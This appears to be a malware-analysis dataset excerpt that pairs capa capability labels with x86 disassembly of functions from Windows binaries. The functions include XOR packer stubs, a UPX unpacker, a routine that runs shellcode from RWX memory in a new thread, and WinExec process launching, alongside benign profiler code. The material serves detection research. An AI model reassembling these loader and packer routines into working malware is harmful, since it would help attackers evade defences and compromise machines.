joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401230
Capabilities:
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x869060]
mov ecx, dword [0x867fb4]
shr eax, 3
sub esp, 0x41c
test eax, eax
jbe 0x401338
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EnumDateFormatsExA]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateJobObjectA]
mov dword [ebp - 4], ecx
mov dword [ebp - 8], eax
lea ebx, [ebx]
cmp dword [0x869060], 0x959
jne 0x40131e
push 0
call esi
push 0
push 0
call edi
push 0
push 0
push 0
call ebx
push str.yihemosubameyacowovagajuferokiyujiyeluhanabopa
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push 0
lea eax, [ebp - 0x41c]
push eax
push 0
push str.ribabacotecisuseyobowozic
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LCMapStringA]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push 0
push 0
push str.nadahesajabohaxezize
push str.gajelonibakogofipokuyitipi
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceLanguagesW]
xor eax, eax
push eax
push eax
lea ecx, [ebp - 0x1c]
push ecx
push eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
push 0
push 0
push 0
push 0
push 0
push 0
push str.yavub_socaxofuhod
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edx, dword [ebp - 4]
push edx
call fcn.00401030
add dword [ebp - 4], 8
sub dword [ebp - 8], 1
jne 0x401270
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402560
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4490c8]
jne 0x40256a
repz ret
jmp fcn.0040604e

Function at 0x405c74
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00402fe9
and dword [ebp - 4], 0
cmp dword [0x44aa28], 0
mov ebx, eax
jne 0x405d25
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x405dd6
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x405dd6
push eax
call fcn.00402f77
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x44aa28], eax
call esi
push eax
call fcn.00402f77
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x44aa2c], eax
call esi
push eax
call fcn.00402f77
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x44aa30], eax
call esi
push eax
call fcn.00402f77
pop ecx
mov dword [0x44aa38], eax
test eax, eax
je 0x405d25
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00402f77
pop ecx
mov dword [0x44aa34], eax
mov eax, dword [0x44aa34]
cmp eax, ebx
je 0x405d7d
cmp dword [0x44aa38], ebx
je 0x405d7d
push eax
call fcn.00402ff2
push dword [0x44aa38]
mov esi, eax
call fcn.00402ff2
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x405d7d
test edi, edi
je 0x405d7d
call esi
test eax, eax
je 0x405d74
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x405d74
test byte [ebp - 0xc], 1
jne 0x405d7d
or dword [ebp + 0x10], 0x200000
jmp 0x405db6
mov eax, dword [0x44aa2c]
cmp eax, ebx
je 0x405db6
push eax
call fcn.00402ff2
pop ecx
test eax, eax
je 0x405db6
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x405db6
mov eax, dword [0x44aa30]
cmp eax, ebx
je 0x405db6
push eax
call fcn.00402ff2
pop ecx
test eax, eax
je 0x405db6
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x44aa28]
call fcn.00402ff2
pop ecx
test eax, eax
je 0x405dd6
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x405dd8
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401690
Capabilities:
Encode data using xor

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x10
push ebx
push esi
push edi
push edx
pop edi
push edi
push 0
push dword [section..data]
mov dword [ebp - 8], edi
push ecx
pop esi
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, edi
shr ebx, 2
mov dword [ebp - 4], eax
or ebx, ebx
je 0x4016d4
push esi
pop edi
mov ecx, eax
sub edi, eax
mov edx, ebx
mov eax, dword [edi + ecx]
mov dword [ecx], eax
lea ecx, [ecx + 4]
dec edx
jne 0x4016c3
mov edi, dword [ebp - 8]
mov eax, dword [ebp - 4]
shl ebx, 2
cmp ebx, edi
jae 0x4016ef
push edi
pop edx
sub esi, eax
lea ecx, [ebx + eax]
sub edx, ebx
mov al, byte [ecx + esi]
mov byte [ecx], al
lea ecx, [ecx + 1]
dec edx
jne 0x4016e4
mov eax, dword [ebp - 4]
lea esi, [edi - 8]
lea ecx, [eax - 8]
add ecx, edi
push esi
pop ebx
mov edx, dword [ecx + 4]
mov dword [ebp - 0x10], ecx
mov ecx, dword [ecx]
shr ebx, 2
and esi, 3
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], ecx
or ebx, ebx
je 0x401731
lea ecx, [ebx + edx]
mov edx, dword [eax]
movzx ecx, cl
ror edx, cl
mov ecx, dword [ebp - 8]
add eax, 4
xor edx, ecx
sub edx, ebx
mov dword [eax - 4], edx
mov edx, dword [ebp - 0xc]
dec ebx
jne 0x401714
test esi, esi
je 0x40173d
xor byte [eax], cl
lea eax, [eax + 1]
dec esi
jne 0x401735
mov edi, dword [ebp - 0x10]
mov edi, dword [edi - 4]
push edi
push 0
push dword [section..data]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, dword [ebp - 4]
push eax
pop esi
mov edx, esi
push ebx
pop ecx
call section..text
push ebx
push 0
push dword [section..data]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov dword [eax], edi
pop edi
mov dword [ecx], esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ecc
nop
nop
mov ecx, 0x19c629b2
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x430024
nop
nop
nop
nop
nop
mov eax, section..rsrc
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x64fb4b14
nop
nop
nop
nop
test eax, eax
je 0x430084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43006c
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x407d9c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004033fc
xor eax, eax
push ebp
push 0x407e75
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp byte [eax], 0x5c
jne 0x407dd4
mov eax, dword [ebp - 4]
call fcn.004071d0
jmp 0x407ddc
mov eax, dword [ebp - 4]
call fcn.00407bd4
call fcn.00404ae8
mov esi, eax
test esi, esi
jle 0x407e28
mov ebx, 1
lea edx, [ebp - 8]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 8]
cmp byte [eax], 0x5c
jne 0x407e12
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0xc]
call fcn.004071d0
jmp 0x407e24
lea edx, [ebp - 0x10]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0x10]
call fcn.00407bd4
inc ebx
dec esi
jne 0x407dec
push 1
push dword [ebp - 4]
push 0x407e8c
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.00406f34
push dword [ebp - 0x18]
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.004032cc
mov eax, dword [ebp - 0x14]
call fcn.0040340c
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407e7c
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.004030b8
ret

Function at 0x3ad7258d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x3ad7a064]
jne 0x3ad72597
repz ret
jmp fcn.3ad73d0c

Function at 0x3ad775d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x3ad775df
pop dword [ebp - 0x2c]
mov eax, 0xae6f5da8
sub eax, 0x7397e7c9
sub dword [ebp - 0x2c], eax
push 0x40
push 0x1000
push 0x3a6ee
push 0
mov eax, 0x5248cbe0
sub eax, 0x1771bb2c
add eax, dword [ebp - 0x2c]
call dword [eax]
mov ecx, 0x87373676
add ecx, 0x78c91cd4
mov edi, eax
mov edx, 0x31843321
sub edx, 0xf6abc521
add edx, dword [ebp - 0x2c]
mov esi, 0xf90d7a58
add esi, 0x3d38a28
add dword [ebp - 0x10], 0x548df419
mov ebx, dword [edx]
xor dword [ebp - 0x1c], 0x36c5b81d
add ebx, esi
sub dword [ebp - 0x18], 0x8a873a4c
mov dword [edi], ebx
add edi, 0x2d0b149d
sub edi, 0x2d0b1499
add edx, 0x4a61af0e
sub edx, 0x4a61af0a
loop 0x3ad7763e
add eax, 0x97183ea4
sub eax, 0x9716fea9
xor ebx, ebx
add ebx, eax
add eax, 0xaf8fc98a
add eax, 0x5070367b
mov ecx, 0x4e1b5d41
add ecx, 0xecbba2bf
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 8], 2
jge 0x401011
push 0xffffffffffffffff
call dword [sym.imp.MSVCR80.dll_exit]
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + 4]
push ecx
call fcn.00401030
add esp, 4
push 0
call dword [sym.imp.MSVCR80.dll_exit]
pop ebp
ret

Function at 0x401030
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
add ecx, 1
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x10]
mov al, byte [edx]
mov byte [ebp - 0x15], al
add dword [ebp - 0x10], 1
cmp byte [ebp - 0x15], 0
jne 0x401045
mov ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 0x14]
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 8], edx
push 0x40
push 0x1000
mov eax, dword [ebp - 8]
add eax, 1
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.MSVCR80.dll_strncpy]
add esp, 0xc
push 0xffffffffffffffff
lea ecx, [ebp - 0xc]
push ecx
push 0
mov edx, dword [ebp - 4]
push edx
push 0x4010c0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x430072
nop
nop
mov ebx, 0x408ecc
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x150f1e1e
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x430060
nop
nop
nop
mov eax, section..data
nop
nop
nop
nop
cmp eax, 0
je 0x4300d2
nop
nop
nop
nop
mov ebx, 0x42e1d0
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x5f7243ae
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4300c0
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219

Function at 0x40147b
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ebx
lea eax, [ebp - 0x114]
sub esp, 0x134
mov dword [esp], eax
lea ebx, [ebp - 0x10c]
call dword [sym.imp.USER32.dll_GetCursorPos]
push eax
mov dword [esp + 4], ebx
mov dword [esp], 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push eax
push eax
mov dword [esp], ebx
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x80000000
call dword [sym.imp.KERNEL32.dll_CreateFileA]
sub esp, 0x1c
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, dword [ebp - 4]
leave
sub eax, 3
ret

Function at 0x4014f8
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0xa0
mov dword [ebp - 0x88], 0
call fcn.0040147b
mov dword [esp], 0x4015cc
mov dword [ebp - 0x8c], 0
mov ebx, eax
lea eax, [ebp - 0x8c]
mov dword [esp + 0xc], eax
mov eax, ebx
or eax, 0x40
mov dword [esp + 8], eax
mov eax, 0x40202e
sub eax, 0x4015cc
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
cmp dword [ebp - 0x8c], 0
je 0x401593
lea esi, [ebp - 0x88]
mov dword [esp], ebx
call fcn.00401382
mov dword [esp + 4], esi
mov dword [esp], ebx
call fcn.004013f5
mov cl, bl
mov dword [esp + 8], esi
lea eax, [ebx + 0x1b600]
shl eax, cl
mov dword [esp + 4], eax
mov eax, 0x40300c
shr eax, cl
mov dword [esp], eax
call fcn.00401d31
lea esp, [ebp - 8]
xor eax, eax
pop ebx
pop esi
pop ebp
ret
Function at 0x408670
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6000]
push edi
jmp 0x40868a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x408691
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x408680
mov eax, 1
add ebx, ebx
jne 0x4086a3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x408698
jne 0x4086b4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x408698
xor ecx, ecx
sub eax, 3
jb 0x4086c8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x40873a
mov ebp, eax
add ebx, ebx
jne 0x4086d3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4086e0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x408704
inc ecx
add ebx, ebx
jne 0x4086f0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4086e5
jne 0x408701
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4086e5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x408724
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x408715
jmp 0x408686
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x408724
add edi, ecx
jmp 0x408686
pop esi
mov edi, esi
mov ecx, 0x26
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x408742
cmp byte [edi], 0
jne 0x408742
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x408747
lea edi, [esi + 0x6000]
mov eax, dword [edi]
or eax, eax
je 0x4087bf
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x9dac]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x9e04]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x408774
mov ecx, edi
jns 0x4087a3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x9e0c]
or eax, eax
je 0x4087b9
mov dword [ebx], eax
add ebx, 4
jmp 0x408791
call dword [esi + 0x9e08]
mov ebp, dword [esi + 0x9e10]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1ff]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4087f3
sub esp, 0xffffff80
jmp section.UPX0

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
pop eax
nop
nop
add eax, 0x403d7a
sub eax, 0x403d20
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp fcn.00401219
Function at 0x10004a80
Capabilities:
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
push ebp
push esi
push edi
push ecx
mov dword [eax], 0
call fcn.1000ecc0
mov esi, eax
add esp, 4
test esi, esi
jns 0x10004ab7
push 0x44d
push str.hprof_check.c
push str.fd_0
push 0
push 1
call fcn.10005d70
add esp, 0x14
push 0xffffffffffffffff
push 0xffffffffffffffff
push esi
call fcn.1000ed20
mov edi, eax
and eax, edx
add esp, 0xc
cmp eax, 0xffffffff
jne 0x10004aea
push 0x44f
push str.hprof_check.c
push str.Cannot_md_seek___to_end_of_file
push 0
push 1
call fcn.10005d70
add esp, 0x14
jmp 0x10004af2
cmp edi, 0x200
jg 0x10004b0d
push 0x451
push str.hprof_check.c
push str.__jint_nbytes__512
push 0
push 1
call fcn.10005d70
add esp, 0x14
push 0
push 0
push esi
call fcn.1000ed20
add esp, 0xc
or eax, edx
je 0x10004b39
push 0x453
push str.hprof_check.c
push str.Cannot_md_seek___to_start_of_file
push 0
push 1
call fcn.10005d70
add esp, 0x14
lea ecx, [edi + 1]
push ecx
call fcn.10015d30
mov ebp, eax
add esp, 4
test ebp, ebp
jne 0x10004b65
push 0x456
push str.hprof_check.c
push str.image_NULL
push eax
push 1
call fcn.10005d70
add esp, 0x14
push ebx
push edi
push ebp
push esi
call sub.msvcr100.dll__read
mov ebx, eax
add esp, 0xc
test ebx, ebx
jg 0x10004b92
push 0x45b
push str.hprof_check.c
push str.System_read_failed.
push 0
push 1
call fcn.10005d70
add esp, 0x14
cmp edi, ebx
pop ebx
je 0x10004bb2
push 0x45d
push str.hprof_check.c
push str.__jint_nbytes_nread
push 0
push 1
call fcn.10005d70
add esp, 0x14
push esi
call fcn.1000ed60
mov edx, dword [esp + 0x14]
add esp, 4
mov dword [edx], edi
pop edi
pop esi
mov eax, ebp
pop ebp
ret
Function at 0x10005d70
Capabilities:
Terminate process

Disassembly:
cmp dword [esp + 0xc], 0
jne 0x10005d7f
mov dword [esp + 0xc], 0x100192b5
push ebp
mov ebp, dword [esp + 0xc]
push esi
push edi
test ebp, ebp
je 0x10005dee
push ebx
push ebp
call fcn.100167b0
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x10005d9f
mov ebx, 0x1001a458
mov esi, dword [esp + 0x20]
test esi, esi
jne 0x10005dae
mov eax, str.UnknownSourceFile
jmp 0x10005dd1
mov edi, dword [sym.imp.msvcr100.dll_strrchr]
push 0x2f
push esi
call edi
add esp, 8
test eax, eax
jne 0x10005dd0
push 0x5c
push esi
call edi
add esp, 8
test eax, eax
jne 0x10005dd0
mov eax, esi
jmp 0x10005dd1
inc eax
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x1c]
push ecx
push eax
push ebp
push ebx
push edx
push str.HPROF_ERROR:__s__JVMTI_Error__s__d_____s:_d__n
call fcn.10005d20
add esp, 0x18
pop ebx
jmp 0x10005e38
mov esi, dword [esp + 0x1c]
test esi, esi
jne 0x10005dfd
mov eax, str.UnknownSourceFile
jmp 0x10005e20
mov edi, dword [sym.imp.msvcr100.dll_strrchr]
push 0x2f
push esi
call edi
add esp, 8
test eax, eax
jne 0x10005e1f
push 0x5c
push esi
call edi
add esp, 8
test eax, eax
jne 0x10005e1f
mov eax, esi
jmp 0x10005e20
inc eax
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0x18]
push ecx
push eax
push edx
push str.HPROF_ERROR:__s___s:_d__n
call fcn.10005d20
add esp, 0x10
cmp byte [esp + 0x10], 0
pop edi
pop esi
pop ebp
jne 0x10005e4d
mov eax, dword [0x1001e7f8]
cmp byte [eax + 0x65], 0
je 0x10005e90
push str.HPROF_TERMINATED_PROCESS_n
call fcn.10005d20
mov eax, dword [0x1001e7f8]
add esp, 4
cmp byte [eax + 0x64], 0
jne 0x10005e6b
cmp byte [eax + 0x67], 0
je 0x10005e88
push 0
push 0x16
call dword [sym.imp.msvcr100.dll_signal]
push str.HPROF_DUMPING_CORE_n
call fcn.10005d20
add esp, 0xc
call dword [sym.imp.msvcr100.dll_abort]
push 9
call dword [sym.imp.msvcr100.dll_exit]
ret
Function at 0x10006ad0
Capabilities:
Delete file

Disassembly:
sub esp, 0x28
mov eax, dword [0x1001e108]
xor eax, esp
mov dword [esp + 0x24], eax
push esi
mov esi, ecx
mov eax, dword [esi]
push eax
mov dword [esp + 0xc], esi
call fcn.1000eca0
add esp, 4
test eax, eax
js 0x10006c14
push ebx
push edi
push eax
call fcn.1000ed60
add esp, 4
call fcn.1000eb60
mov edi, dword [esi]
mov dword [esp + 0x24], eax
mov eax, edi
mov dword [esp + 0xc], edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10006b17
sub eax, edx
add eax, 0x40
push eax
mov dword [esp + 0x1c], eax
call fcn.10015d30
mov ecx, dword [0x1001e7f8]
add esp, 4
mov byte [esp + 0x28], 0
cmp byte [ecx + 0x38], 0x62
mov dword [esp + 0x20], eax
je 0x10006bd5
xor eax, eax
jmp 0x10006b50
mov cl, byte [eax + str..txt]
mov byte [esp + eax + 0x28], cl
inc eax
test cl, cl
jne 0x10006b50
push 0x2e
push edi
call dword [sym.imp.msvcr100.dll_strrchr]
add esp, 8
mov dword [esp + 0x14], eax
test eax, eax
je 0x10006bd5
push ebp
mov ebp, str..txt
xor edi, edi
mov esi, eax
sub ebp, eax
nop
mov bl, byte [esi]
test bl, bl
je 0x10006bcc
movsx edx, byte [esi + ebp]
push edx
call dword [sym.imp.msvcr100.dll_tolower]
movsx ecx, bl
push ecx
mov dword [esp + 0x28], eax
call dword [sym.imp.msvcr100.dll_tolower]
add esp, 8
cmp dword [esp + 0x20], eax
jne 0x10006bcc
inc edi
inc esi
cmp edi, 4
jl 0x10006b80
mov esi, dword [esp + 0x18]
lea edx, [esp + 0x2c]
mov eax, esi
sub edx, esi
jmp 0x10006bc0
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x10006bc0
mov byte [esi], cl
mov esi, dword [esp + 0x14]
mov edi, dword [esp + 0x10]
pop ebp
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x18]
mov ebx, dword [esp + 0x20]
lea edx, [esp + 0x28]
push edx
push eax
push edi
push str._s._d_s
push ecx
push ebx
call fcn.1000ef10
push edi
mov dword [esi], ebx
call sub.msvcr100.dll_free
mov edx, dword [0x1001e7f8]
mov eax, dword [edx + 0x80]
push eax
call dword [sym.imp.msvcr100.dll_remove]
add esp, 0x20
pop edi
pop ebx
mov ecx, dword [esp + 0x28]
pop esi
xor ecx, esp
call fcn.10017ff3
add esp, 0x28
ret
Function at 0x1000cee0
Capabilities:
Read file on windows

Disassembly:
push ebx
push ebp
push esi
push edi
push 0x20000
mov ebx, eax
call fcn.10015d30
mov edi, dword [esp + 0x18]
add esp, 4
mov ebp, eax
lea esp, [esp]
mov eax, 0x20000
cmp edi, eax
jge 0x1000cf0b
mov eax, edi
push eax
push ebp
push ebx
call sub.msvcr100.dll__read
mov esi, eax
add esp, 0xc
test esi, esi
js 0x1000cf3d
je 0x1000cf54
jle 0x1000cf2b
push esi
push ebp
call dword [esp + 0x24]
add esp, 8
sub edi, esi
test edi, edi
jg 0x1000cf00
push ebp
call sub.msvcr100.dll_free
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
ret
call dword [sym.imp.msvcr100.dll__errno]
mov eax, dword [eax]
push eax
push esi
mov ebx, str.read
call fcn.1000ac20
add esp, 8
test edi, edi
jle 0x1000cf76
test esi, esi
jne 0x1000cf76
push 0x76e
push str.hprof_io.c
push str.File_size_is_smaller_than_bytes_written
push esi
push 1
call fcn.10005d70
add esp, 0x14
push ebp
call sub.msvcr100.dll_free
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x1000eba0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns

Disassembly:
sub esp, 0x14
mov eax, dword [0x1001e108]
xor eax, esp
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x18]
push eax
call dword [sym.imp.wsock32.dll_gethostbyname]
test eax, eax
jne 0x1000ebcf
or eax, 0xffffffff
mov ecx, dword [esp + 0x10]
xor ecx, esp
call fcn.10017ff3
add esp, 0x14
ret
xor ecx, ecx
mov dword [esp + 4], ecx
mov dword [esp], ecx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov eax, dword [esp + 0x1c]
mov edx, dword [ecx]
push esi
push eax
mov dword [esp + 0xc], edx
call dword [sym.imp.wsock32.dll_htons]
push 0
mov ecx, 2
push 1
push ecx
mov word [esp + 0x12], ax
mov word [esp + 0x10], cx
call dword [sym.imp.wsock32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x1000ec32
push 0x10
lea edx, [esp + 8]
push edx
push esi
call dword [sym.imp.wsock32.dll_connect]
cmp eax, 0xffffffff
jne 0x1000ec44
push esi
call dword [sym.imp.wsock32.dll_closesocket]
xor eax, eax
pop esi
mov ecx, dword [esp + 0x10]
xor ecx, esp
call fcn.10017ff3
add esp, 0x14
ret
mov ecx, dword [esp + 0x14]
mov eax, esi
pop esi
xor ecx, esp
call fcn.10017ff3
add esp, 0x14
ret

Function at 0x1000ec60
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 8]
push eax
mov eax, dword [esp + 8]
push ecx
push edx
push eax
call dword [sym.imp.wsock32.dll_recv]
ret

Function at 0x1000ed70
Capabilities:
Send data
Send data on socket

Disassembly:
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 8]
push eax
mov eax, dword [esp + 8]
push ecx
push edx
push eax
call dword [sym.imp.wsock32.dll_send]
ret